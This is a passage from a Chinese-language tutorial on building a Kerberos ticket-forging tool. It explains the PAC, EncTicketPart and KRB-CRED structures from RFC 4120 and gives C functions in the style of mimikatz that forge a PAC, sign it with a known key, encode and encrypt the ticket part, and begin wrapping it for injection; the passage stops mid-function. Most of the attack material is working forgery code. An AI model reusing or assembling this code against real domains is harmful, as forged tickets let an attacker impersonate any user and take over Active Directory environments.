这些结构被放置在顶级PACTYPE结构的Buffers数组之后,放置的偏移量由每个对应的PAC_INFO_BUFFER结构在Buffers数组中的Offset字段指定。与服务器签名对应的PAC_INFO_BUFFER的ulType字段包含值 0x00000006,而与KDC签名对应的PAC_INFO_BUFFER的ulType字段包含值0x00000007。

服务器签名是整个PAC消息的密钥哈希,由KDC生成,并取决于KDC和服务器可用的加密算法。KDC将使用KDC与服务器共享的Long-term Key,以便服务器可以在收到PAC时验证此签名。

KDC签名是PAC消息中服务器签名字段的密钥哈希,由KDC生成,并取决于KDC可用的加密算法。KDC将使用KDC账户Krbtgt密钥,以便其他 KDC在接收PAC时可以验证此签名。

Generate PAC Type

了解上述知识后,我们开始伪造PAC结构,该过程被写在了 ValidationInfoToPAC( )函数中,如下所示:

BOOL ValidationInfoToPAC(PKERB_VALIDATION_INFO pValidationInfo, LONG SignatureType, PPACTYPE* pacType, DWORD* pacTypeSize)
{
        BOOL status = FALSE;
        PVOID pLogonInfo = NULL, pClaims = NULL;
        PPAC_CLIENT_INFO pClientInfo = NULL;
        PAC_SIGNATURE_DATA signatureData = { SignatureType, {0} };
        DWORD n = 4, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER);
        PKERB_CHECKSUM pCheckSum;

    // Get the implementation system of the specified verification algorithm.
        if (NT_SUCCESS(CDLocateCheckSum(SignatureType, &pCheckSum)))   
        {
                szSignature += pCheckSum->CheckSumSize;    // szSignature = 4 + pCheckSum->CheckSumSize
        // Align szSignature to 8 or its multiple.
                szSignatureAligned = SIZE_ALIGN(szSignature, 8);

        // Encrypt KERB_VALIDATION_INFO type data.
                if (EncodeValidationInformation(&pValidationInfo, &pLogonInfo, &szLogonInfo))
            // Align szLogonInfo to 8 or its multiple.
                        szLogonInfoAligned = SIZE_ALIGN(szLogonInfo, 8);

        // Enter the GeneratePacClientInfo function to generate a PAC_CLIENT_INFO
            // type buffer for PAC.
                if (GeneratePacClientInfo(&pValidationInfo->LogonTime, pValidationInfo->EffectiveName.Buffer, &pClientInfo, &szClientInfo))
                        szClientInfoAligned = SIZE_ALIGN(szClientInfo, 8);

                if (pLogonInfo && pClientInfo)
                {
                        *pacTypeSize = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER) + szLogonInfoAligned + szClientInfoAligned + szSignatureAligned * 2;
                        if (*pacType = (PPACTYPE)LocalAlloc(LPTR, *pacTypeSize))
                        {
                                (*pacType)->cBuffers = 4;
                                (*pacType)->Version = 0;

                                (*pacType)->Buffers[0].cbBufferSize = szLogonInfo;
                                (*pacType)->Buffers[0].ulType = PACINFO_TYPE_LOGON_INFO;
                                (*pacType)->Buffers[0].Offset = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER);
                                RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[0].Offset, pLogonInfo, szLogonInfo);

                                (*pacType)->Buffers[1].cbBufferSize = szClientInfo;
                                (*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;
                                (*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;
                                RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[1].Offset, pClientInfo, szClientInfo);

                                (*pacType)->Buffers[2].cbBufferSize = szSignature;
                                (*pacType)->Buffers[2].ulType = PACINFO_TYPE_CHECKSUM_SRV;
                                (*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;
                                RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset, &signatureData, szSignature);

                                (*pacType)->Buffers[3].cbBufferSize = szSignature;
                                (*pacType)->Buffers[3].ulType = PACINFO_TYPE_CHECKSUM_KDC;
                                (*pacType)->Buffers[3].Offset = (*pacType)->Buffers[2].Offset + szSignatureAligned;
                                RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[3].Offset, &signatureData, szSignature);

                                status = TRUE;
                        }

                        if (pLogonInfo)
                                LocalFree(pLogonInfo);
                        if (pClientInfo)
                                LocalFree(pClientInfo);
                }
        }
        return status;
}

这里定义了一个PPACTYPE结构的pacType变量,用于保存整个PAC结构,其大小为sizeof(PACTYPE)+3*sizeof( )+szLogonInfoAligned +szClientInfoAligned+szSignatureAligned*2,以保证可以放得下 1个KERB_VALIDATION_INFO缓冲区、1个PAC_CLIENT_INFO缓冲区和2个PAC_SIGNATURE_DATA缓冲区。每个缓冲区的地址是连续的,并且从PACTYPE结构的开头到缓冲区开头的偏移量都是8的倍数,因此需要通过SIZE_ALIGN宏将各个缓冲区的大小向8对齐。

标志PAC类型

至此,PAC结构基本生成,但是2个PAC_SIGNATURE_DATA缓冲区部分的数据还没有存入校验和,因此还需要一个生成签名数据的过程,该过程被写在了GeneratePacSignatureData( )函数中,如下所示:

BOOL GeneratePacSignatureData(PPACTYPE pacType, DWORD pacTypeSize, LONG SignatureType, LPCVOID Key, DWORD dwKeySize)
{
        BOOL status = FALSE;
        PKERB_CHECKSUM pCheckSum;
        PVOID pContext;
        PPAC_SIGNATURE_DATA pSignatureData;
        PBYTE checkSumSrv = NULL, checkSumpKdc = NULL;

        status = NT_SUCCESS(CDLocateCheckSum(SignatureType, &pCheckSum));
        if (status)
        {
        // Then traverse the Buffers buffer in pacType.
                for (ULONG i = 0; i < pacType->cBuffers; i++)
                {
            // Find Buffers with ulType values of PACINFO_TYPE_CHECKSUM_SRV (0x00000006) and
            // PACINFO_TYPE_CHECKSUM_KDC (0x00000007), which are the buffers for saving the
            // server signature and KDC signature.
                        if (pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_SRV || pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_KDC)
                        {
                                pSignatureData = (PPAC_SIGNATURE_DATA)((PBYTE)pacType + pacType->Buffers[i].Offset);
                                RtlZeroMemory(pSignatureData->Signature, pCheckSum->CheckSumSize);
                                if (pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_SRV)
                                        checkSumSrv = pSignatureData->Signature;
                                else if (pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_KDC)
                                        checkSumpKdc = pSignatureData->Signature;
                        }
                }
                if (checkSumSrv && checkSumpKdc)
                {
                        if (NT_SUCCESS(pCheckSum->InitializeEx(Key, dwKeySize, KERB_NON_KERB_CKSUM_SALT, &pContext)))
                        {
                // Calculate the hash of the entire PAC structure。
                                pCheckSum->Sum(pContext, pacTypeSize, pacType);
                                pCheckSum->Finalize(pContext, checkSumSrv);
                                pCheckSum->Finish(&pContext);

                                if (pCheckSum->InitializeEx(Key, dwKeySize, KERB_NON_KERB_CKSUM_SALT, &pContext))
                                {
                    // Computes the server signature field in the PAC structure。
                                        pCheckSum->Sum(pContext, pCheckSum->CheckSumSize, checkSumSrv);
                                        pCheckSum->Finalize(pContext, checkSumpKdc);
                                        pCheckSum->Finish(&pContext);
                                }
                        }
                }
        }
        return status;
}

该函数首先通过CDLocateCheckSum( )函数找到SignatureType参数指定的加密加密类型的加密系统,并存储在pCheckSum结构体中。然后遍历pacType中的Buffers缓冲区,找到ulType值为 PACINFO_TYPE_CHECKSUM_SRV(0x00000006)和 PACINFO_TYPE_CHECKSUM_KDC(0x00000007)的Buffers即为保存服务器签名和KDC签名的缓冲区。

然后分别计算整个PAC结构的哈希和PAC结构中服务器签名字段的哈希,并保存在相应的Buffers缓冲区中,如下所示:

if (NT_SUCCESS(pCheckSum->InitializeEx(Key, dwKeySize, KERB_NON_KERB_CKSUM_SALT, &pContext)))
{
        pCheckSum->Sum(pContext, pacTypeSize, pacType);
          pCheckSum->Finalize(pContext, checkSumSrv);
          pCheckSum->Finish(&pContext);

          if (pCheckSum->InitializeEx(Key, dwKeySize, KERB_NON_KERB_CKSUM_SALT, &pContext))
          {
            pCheckSum->Sum(pContext, pCheckSum->CheckSumSize, checkSumSrv);
            pCheckSum->Finalize(pContext, checkSumpKdc);
            pCheckSum->Finish(&pContext);
          }
}

生成和加密EncTicketPart


至此,已经制作好了整个PAC结构,接下来需要将PAC嵌入票据的EncTicketPart部分。这里,我们还需要补充一些知识。

RFC4120中的信息规范

Kerberos协议在其文档“[RFC4120] The Kerberos Network Authentication Service (V5)” 中以抽象语法标记(Abstract Syntax Notation One,ASN.1)的形式进行定义,ASN.1提供了一种语法来指定协议消息的抽象布局及其编码方式。Kerberos协议消息的编码应遵守 [X690]中描述的ASN.1的可分辨编码规则(DER)。

Kerberos协议中的类型应采用以下形式的ASN.1模块定义:

KerberosV5Spec2 {
        iso(1) identified-organization(3) dod(6) internet(1)
        security(5) kerberosV5(2) modules(4) krb5spec2(2)
} DEFINITIONS EXPLICIT TAGS ::= BEGIN

-- rest of definitions here

END

Tickets Specifications

Kerberos协议中的Tickets类型应采用以下形式的ASN.1模块定义:

Ticket          ::= [APPLICATION 1] SEQUENCE {
        tkt-vno         [0] INTEGER (5),
        realm           [1] Realm,
        sname           [2] PrincipalName,
        enc-part        [3] EncryptedData -- EncTicketPart
}

-- Encrypted part of ticket

EncTicketPart   ::= [APPLICATION 3] SEQUENCE {
        flags                   [0] TicketFlags,
        key                     [1] EncryptionKey,
        crealm                  [2] Realm,
        cname                   [3] PrincipalName,
        transited               [4] TransitedEncoding,
        authtime                [5] KerberosTime,
        starttime               [6] KerberosTime OPTIONAL,
        endtime                 [7] KerberosTime,
        renew-till              [8] KerberosTime OPTIONAL,
        caddr                   [9] HostAddresses OPTIONAL,
        authorization-data      [10] AuthorizationData OPTIONAL
}

-- encoded Transited field
TransitedEncoding       ::= SEQUENCE {
        tr-type         [0] Int32 -- must be registered --,
        contents        [1] OCTET STRING
}

TicketFlags     ::= KerberosFlags
        -- reserved(0),
        -- forwardable(1),
        -- forwarded(2),
        -- proxiable(3),
        -- proxy(4),
        -- may-postdate(5),
        -- postdated(6),
        -- invalid(7),
        -- renewable(8),
        -- initial(9),
        -- pre-authent(10),
        -- hw-authent(11),
-- the following are new since 1510
        -- transited-policy-checked(12),
        -- ok-as-delegate(13)

以下是 Ticket 结构中包含的主要成员:

  • tkt-vno:此字段指定票据格式的版本号,目前版本号为5。

  • realm:该字段指定发出票证的领域。它还用于识别服务器主体标识符的领域部分。由于Kerberos服务器只能为其领域内的服务器颁发票据,因此两者始终相同。

  • sname:该字段指定服务器标识的名称部分的所有组件,包括标识服务的特定实例的那些部分。

  • enc-part:该字段保存EncTicketPart序列的加密编码。它使用 Kerberos和终端服务器共享的密钥(服务器的 Secret Key,也就是 Long-term Key,而不是会话密钥)进行加密。

以下是Ticket结构的enc-part部分中包含的主要成员:

  • flags:此字段指示在签发票据时使用或请求了各种选项中的哪些。标志的含义如下:

Bit(s) Name Description
0
reserved 为将来扩展该字段而保留。
1
forwardable FORWARDABLE标志通常仅由TGS解释,并且可以被终端服务器忽略。设置后,此标志会告诉票证授予服务器可以根据此票证发出具有不同网络地址的新票据/TGT。
2 forwarded 设置后,此标志表示票据已被转发或根据涉及转发的TGT的身份验证颁发。
3
proxiable PROXIABLE标志通常只由TGS解释,可以被终端服务器忽略。PROXIABLE标志的解释与FORWARDABLE标志的解释相同,除了PROXIABLE标志告诉票据授予服务器只有非TGT票据可以使用不同的网络地址发布。
4
proxy 设置后,此标志表示票证是一个代理票据。
5 may-postdate MAY-POSTDATE标志通常只由TGS解释,可以被终端服务器忽略。这个标志告诉票据授予服务器,可以根据这个票据(TGT)签发一个远期的票据。
6
postdated 此标志表示此票证已远期。终端服务可以检查authtime字段以查看原始身份验证发生的时间。
7 invalid 此标志表示票证无效,必须在使用前由KDC验证。应用程序服务器必须拒绝设置了此标志的票证。
8
renewable RENEWABLE标志通常只由TGS解释,并且通常可以被终端服务器忽略。可更新票证可用于获得在稍后日期到期的替换票证。
9
initial 此标志表示此票证是使用AS协议签发的,而不是基于TGT签发的。
10
pre-authent 此标志表示在初始身份验证期间,客户端在签发票据之前由KDC进行了预身份验证。预验证方法的强度未指明,但为KDC所接受。
11
hw-authent 此标志表示用于初始身份验证的协议需要使用预期由指定客户端单独拥有的硬件。硬件验证方法由KDC选择,方法的强度未指明。
12
transited-policy-checked 此标志表示领域的KDC已根据领域定义的受信任验证者策略检查传输字段。如果此标志被重置 (0),则应用服务器必须检查传输的字段本身,如果不能这样做,它必须拒绝身份验证。如果标志设置为(1),则应用服务器可以跳过它自己对传输字段的验证,依赖于KDC执行的验证。根据其选择,应用程序服务器仍然可以根据单独的接受策略应用自己的验证。
13 ok-as-delegate 此标志表示票证中指定的服务器(不是客户端)已由领域策略确定为合适的委托接收者。客户端可以使用此标志的存在来帮助它决定是否将凭据(授予代理或转发的 TGT)委托给此服务器。客户端可以随意忽略此标志的值。设置此标志时,管理员应考虑运行服务的服务器的安全性和位置,以及服务是否需要使用委托凭证。
14-31
reserved 保留以供将来使用。
  • key:包含会话密钥,该字段存在于票证和KDC响应中,用于将会话密钥从Kerberos传递到应用程序服务器和客户端。
  • crealm:该字段包含客户端注册的领域的名称以及初始身份验证发生的领域。

  • cname:该字段包含客户端主体标识符的名称部分。

  • transited:此字段列出了参与验证向其签发此票证的用户的Kerberos领域的名称。

  • authtime:该字段指示指定主体的初始身份验证时间。

  • starttime:票证中的此字段指定票证有效的时间。该字段与结束时间一起指定票证的生命周期。如果starttime字段在票中不存在,那么应该使用authtime字段来确定票的生命周期。

  • endtime:该字段包含票据将过期的时间。请注意,个别服务可以对票证的生命期设置自己的限制,并且可以拒绝尚未过期的票证。因此,这实际上是票证到期时间的上限。

  • renew-till:此字段仅存在于在标志字段中设置了RENEWABLE标志的票证中。它指示可包含在续订中的最大结束时间。它可以被认为是票证的绝对到期时间,包括所有续订。

  • caddr:票证中的此字段包含零个或多个主机地址。这些是可以使用票证的地址。如果没有地址,则可以在任何地点使用票证。

  • authorization-data:授权数据字段用于将授权数据从代表其签发票证的委托人传递到应用程序服务。该字段包含了前文中所描述的PAC结构。

该字段包含对在使用票证进行身份验证的基础上获得的任何权限的限制。任何拥有凭据的委托人都可以将条目添加到授权数据字段,因为这些条目进一步限制了可以对票证进行的操作。此类添加可以通过在TGS交换期间获得新票证时指定附加条目来进行,或者它们可以在链式委托期间使用身份验证器的授权数据字段添加。

因为凭据持有者可以将条目添加到此字段,除非条目通过封装在KDC颁发的元素中单独进行身份验证,否则不允许在票据的授权数据字段中存在条目以放大使用票证可以获得的特权。

Tickets中的authorization-data成员类型应采用以下形式的ASN.1模块定义:

-- NOTE: AuthorizationData is always used as an OPTIONAL field and
-- should not be empty.
AuthorizationData       ::= SEQUENCE OF SEQUENCE {
        ad-type         [0] Int32,
        ad-data         [1] OCTET STRING
}

以下是authorization-data成员中包含的成员:

  • ad-data:该字段包含根据相应ad-type字段的值进行解释的授权数据。

  • ad-type:该字段指定ad-data字段的格式。

在下面的定义中,元素的ad-type的值和ad-data的值如下所示。一般可选的授权元素可以封装在AD-IF-RELEVANT元素中。

Contents of ad-data                ad-type
DER encoding of AD-IF-RELEVANT        1
DER encoding of AD-KDCIssued          4
DER encoding of AD-AND-OR             5
DER encoding of AD-MANDATORY-FOR-KDC  8

生成EncTicketPart

我们现在需要做的是,使用ASN.1编码规则,构建一个票据EncTicketPart部分的数据结构,并将其序列化为一个PBERVAL结构体。该过程被写在GenerateAppEncTicketPart( )函数中,如下所示:

PBERVAL GenerateAppEncTicketPart(PKERBEROS_TICKET pTicket, LPCVOID pacType, DWORD pacTypeSize)
{
        BerElement* pBer, * pBerPac;
        PBERVAL pBerVal = NULL, pBerValPac = NULL;

        if (pBer = ber_alloc_t(LBER_USE_DER))    // Asn1 ticket
        {
        // Build the APPLICATION 3 tag of EncTicketPart and the 0 tag of the flags member.
                ber_printf(pBer, (PSTR)"t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));
        // Build the flags member of EncTicketPart.
                ASN1BitStringFromULONG(pBer, pTicket->TicketFlags);
        // Build the 1 tag of the key member of EncTicketPart.
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));
        // Build the key member of EncTicketPart.
                GreateSequenceEncryptionKey(pBer, pTicket->KeyType, pTicket->Key.Value, pTicket->Key.Length);
        // Build the 2 tag of the crealm member of EncTicketPart.
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));
        // Build the crealm member of EncTicketPart.
                ASN1GeneralStringFromUnicodeString(pBer, &pTicket->AltTargetDomainName);
        // Build the 3 tag of the cname member of EncTicketPart.
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));
        // Build the cname member of EncTicketPart.
                CreateSequencePrincipalName(pBer, pTicket->ClientName);
        // Build the transited member and its 4 tags, the authtime member
        // and its 5 tags in EncTicketPart.
                ber_printf(pBer, (PSTR)"}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));
                ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->StartTime);
        // Build the 6 tag of the starttime member of EncTicketPart.
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));
        // Build the starttime member of EncTicketPart.
                ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->StartTime);
        // Build the 7 tag of the endtime member of EncTicketPart.
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));
        // Build the endtime member of EncTicketPart.
                ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->EndTime);
        // Build the 8 tag of the renew-till member of EncTicketPart.
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));
        // Build the renew-till member of EncTicketPart.
                ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->RenewUntil);
                ber_printf(pBer, (PSTR)"}");
        // Build the 10 tag of the authorization-data member in the EncTicketPart
        // and the 0 tag of the ad-type member and the 1 tag of the ad-data member in
        // the authorization-data structure.
                ber_printf(pBer, (PSTR)"t{{{t{i}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA), MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_IF_RELEVANT, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA));

                if (pBerPac = ber_alloc_t(LBER_USE_DER))    // Asn1 pac
                {
                        ber_printf(pBerPac, (PSTR)"{{t{i}t{o}}}", MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_WIN2K_PAC, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA), pacType, pacTypeSize);
                        if (ber_flatten(pBerPac, &pBerValPac) >= 0)
                                ber_printf(pBer, (PSTR)"o", pBerValPac->bv_val, pBerValPac->bv_len);
                        ber_free(pBerPac, 1);
                        ber_printf(pBer, (PSTR)"}}}}");
                }
                ber_printf(pBer, (PSTR)"}}");
                ber_flatten(pBer, &pBerVal);
                ber_bvfree(pBerValPac);
                ber_free(pBer, 1);
        }
        return pBerVal;
}

函数中声明了BerElement类型的指针变量pBer和pBerPac,这些变量用于构建ASN.1编码的数据。

函数首先通过调用ber_alloc_t( )函数来分配一个用于BER编码的BerElement结构体,它是一个C++类对象,执行BER编码的基本编码规则。然后,使用ber_printf( )函数按照特定的ASN.1格式,逐步构建票据EncTicketPart部分的各个内容。具体地,就是将EncTicketPart的各个字段按照ASN.1的规范进行编码,包括票据标志、加密密钥、客户端域名、客户端名称、转发信息、授权时间、起始时间、结束时间和更新截止时间等,如下所示:

ber_printf(pBer, (PSTR)"t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));
ASN1BitStringFromULONG(pBer, pTicket->TicketFlags);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));
GreateSequenceEncryptionKey(pBer, pTicket->KeyType, pTicket->Key.Value, pTicket->Key.Length);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));
ASN1GeneralStringFromUnicodeString(pBer, &pTicket->AltTargetDomainName);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));
CreateSequencePrincipalName(pBer, pTicket->ClientName);
ber_printf(pBer, (PSTR)"}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));
ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->StartTime);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));
ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->StartTime);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));
ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->EndTime);
ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));
ASN1GeneralizedTimeFromFileTime(pBer, &pTicket->RenewUntil);
ber_printf(pBer, (PSTR)"}");
ber_printf(pBer, (PSTR)"t{{{t{i}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA), MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_IF_RELEVANT, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA));

ber_printf( )函数用于对BER元素进行编码,类似于sprintf_s( ),该函数的语法如下。一个重要区别是,状态数据存储在BerElement参数中,以便可以多次调用ber_printf( )追加到BER元素的末尾。

WINBERAPI INT BERAPI ber_printf(
  [in, out] BerElement *pBerElement,
  [in]      PSTR       fmt,
            ...        
);

接下来,函数采用相同的规则,将之前生成好的PAC结构数据通过 ber_printf( )函数编码到pBerPac变量,然后使用ber_flatten( )函数从pBerPac变量中获取数据来创建一个新的berval结构,该结构表示根据 BER编码规则编码的任意二进制数据到pBerValPac变量中,这些数据就是 PAC结构经过BER编码后的二进制数据。然后会再次使用ber_printf( )函数将pBerValPac变量中的数据追加到pBer中,如下所示:

if (pBerPac = ber_alloc_t(LBER_USE_DER))    // Asn1 pac
{
        ber_printf(pBerPac, (PSTR)"{{t{i}t{o}}}", MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_WIN2K_PAC, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA), pacType, pacTypeSize);
        if (ber_flatten(pBerPac, &pBerValPac) >= 0)
                ber_printf(pBer, (PSTR)"o", pBerValPac->bv_val, pBerValPac->bv_len);
        ber_free(pBerPac, 1);
        ber_printf(pBer, (PSTR)"}}}}");
}

最终,再次调用ber_flatten( )函数,从pBer变量中获取数据来创建一个新的berval结构到pBerVal变量中,这些数据就是最终构建好的EncTicketPart部分,但是还未经过加密。

加密EncTicketPart


至此,我们已经构建好了票据的EncTicketPart部分,接下来需要对EncTicketPart部分的数据进行加密,加密过程被写在了 KerberosEncrypt( )函数中,如下所示:

BOOL KerberosEncrypt(ULONG dwKeyType, ULONG keyUsage, LPCVOID Key, DWORD dwKeySize, LPCVOID data, DWORD dataSize, LPVOID* output, DWORD* outputSize, BOOL isEncrypt)
{
        BOOL status = FALSE;
        PKERB_ECRYPT pCSystem;
        PVOID pContext;
        DWORD modulo;

        status = NT_SUCCESS(CDLocateCSystem(dwKeyType, &pCSystem));
        if (status)
        {
                if (NT_SUCCESS(pCSystem->Initialize(Key, dwKeySize, keyUsage, &pContext)))
                {
                        *outputSize = dataSize;
                        if (isEncrypt)
                        {
                                if (modulo = *outputSize % pCSystem->BlockSize)
                                        *outputSize += pCSystem->BlockSize - modulo;
                                *outputSize += pCSystem->HeaderSize;
                        }
                        if (*output = LocalAlloc(LPTR, *outputSize))
                        {
                                status = isEncrypt ? NT_SUCCESS(pCSystem->Encrypt(pContext, data, dataSize, *output, outputSize)) : NT_SUCCESS(pCSystem->Decrypt(pContext, data, dataSize, *output, outputSize));
                        }
                        pCSystem->Finish(&pContext);
                }
        }
        return status;
}

参考前文中的对PAC结构签名的GeneratePacSignatureData( ),这段代码的逻辑已经不难理解了。

加密后的EncTicketPart部分会临时保存在KERBEROS_TICKET结构的EncTicketPart.Value成员中。

至此,我们已经生成并加密了票据的EncTicketPart部分,但是想要直接使用票据是不行的,我们需要将其封装到KRB_CRED结构中才能提交到内存中。


Generate KRB_CRED


KRB_CRED结构是将Kerberos凭据从一个主体发送到另一个主体的消息格式。它的提出是为了鼓励应用程序在转发票证或向从属服务器提供代理时使用通用机制。它假定会话密钥已经交换,可能是通过使用 KRB_AP_REQ/KRB_AP_REP消息。

KRB_CRED消息包含一系列要发送的票证和使用票证所需的信息,包括每个票证的会话密钥。使用票据所需的信息通过先前与KRB_CRED消息一起交换或传输的加密密钥进行加密。

Kerberos协议中的KRB_CRED结构应采用以下形式的ASN.1模块定义:

KRB-CRED        ::= [APPLICATION 22] SEQUENCE {
        pvno            [0] INTEGER (5),
        msg-type        [1] INTEGER (22),
        tickets         [2] SEQUENCE OF Ticket,
        enc-part        [3] EncryptedData -- EncKrbCredPart
}

EncKrbCredPart  ::= [APPLICATION 29] SEQUENCE {
        ticket-info     [0] SEQUENCE OF KrbCredInfo,
        nonce           [1] UInt32 OPTIONAL,
        timestamp       [2] KerberosTime OPTIONAL,
        usec            [3] Microseconds OPTIONAL,
        s-address       [4] HostAddress OPTIONAL,
        r-address       [5] HostAddress OPTIONAL
}

KrbCredInfo     ::= SEQUENCE {
        key             [0] EncryptionKey,
        prealm          [1] Realm OPTIONAL,
        pname           [2] PrincipalName OPTIONAL,
        flags           [3] TicketFlags OPTIONAL,
        authtime        [4] KerberosTime OPTIONAL,
        starttime       [5] KerberosTime OPTIONAL,
        endtime         [6] KerberosTime OPTIONAL,
        renew-till      [7] KerberosTime OPTIONAL,
        srealm          [8] Realm OPTIONAL,
        sname           [9] PrincipalName OPTIONAL,
        caddr           [10] HostAddresses OPTIONAL
}

以下是 KRB-CRED 结构中包含的主要成员:

  • pvno and msg-type:这些字段在前文中进行了描述。msg-type是 KRB_CRED。

  • tickets:这些是从KDC获得的票据,专门供预期接收者使用。连续的票证与来自KRB-CRED消息的enc部分的相应KrbCredInfo序列配对。

  • enc-part:该字段包含在发送方和预期接收方共享的会话密钥下加密的 EncKrbCredPart序列的编码,密钥使用值为14。此加密编码用于 KRB-CRED消息的enc-part字段。

  • nonce:如果可行,应用程序可能需要包含消息接收者生成的随机数。如果消息中包含与nonce相同的值,则表明该消息是最新的并且没有被攻击者重播。

  • timestamp and usec:这些字段指定生成KRB-CRED消息的时间。该时间用于确保消息是最新的。

  • s-address and r-address:这些字段在前文中进行了描述。

  • key:该字段存在于KRB-CRED消息封装并传递的相应票据中,用于将会话密钥从发送者传递给预期的接收者。

  • 现在我们需要做的是,使用ASN.1编码规则,构建一个票据 KRB_CRED类型的数据结构,并将其序列化为一个PBERVAL结构体,该结构体包含了ASN.1编码的数据和数据长度。该过程被写在 GenerateAppKrbCred( )函数中,该函数与前文中的 GenerateAppEncTicketPart( )函数类似,如下所示:

PBERVAL GenerateAppKrbCred(PKERBEROS_TICKET pTicket)
{
        BerElement* pBer, * pBerEnc;
        PBERVAL pBerVal = NULL, pBerValEnc = NULL;

        if (pBer = ber_alloc_t(LBER_USE_DER))
        {
                ber_printf(pBer, (PSTR)"t{{t{i}t{i}t{", MAKE_APP_TAG(ID_APP_KRB_CRED), MAKE_CTX_TAG(ID_CTX_KRB_CRED_PVNO), KERBEROS_VERSION, MAKE_CTX_TAG(ID_CTX_KRB_CRED_MSG_TYPE), ID_APP_KRB_CRED, MAKE_CTX_TAG(ID_CTX_KRB_CRED_TICKETS));
                ber_printf(pBer, (PSTR)"{t{{t{i}t{", MAKE_APP_TAG(ID_APP_TICKET), MAKE_CTX_TAG(ID_CTX_TICKET_TKT_VNO), KERBEROS_VERSION, MAKE_CTX_TAG(ID_CTX_TICKET_REALM));

                ASN1GeneralStringFromUnicodeString(pBer, &pTicket->DomainName);
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_TICKET_SNAME));
                CreateSequencePrincipalName(pBer, pTicket->ServiceName);
                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_TICKET_ENC_PART));
                CreateSequenceEncryptedData(pBer, pTicket->TicketEncType, pTicket->TicketKvno, pTicket->EncTicketPart.Value, pTicket->EncTicketPart.Length);
                ber_printf(pBer, (PSTR)"}}}}");

                ber_printf(pBer, (PSTR)"}t{", MAKE_CTX_TAG(ID_CTX_KRB_CRED_ENC_PART));
                if (pBerEnc = ber_alloc_t(LBER_USE_DER))
                {
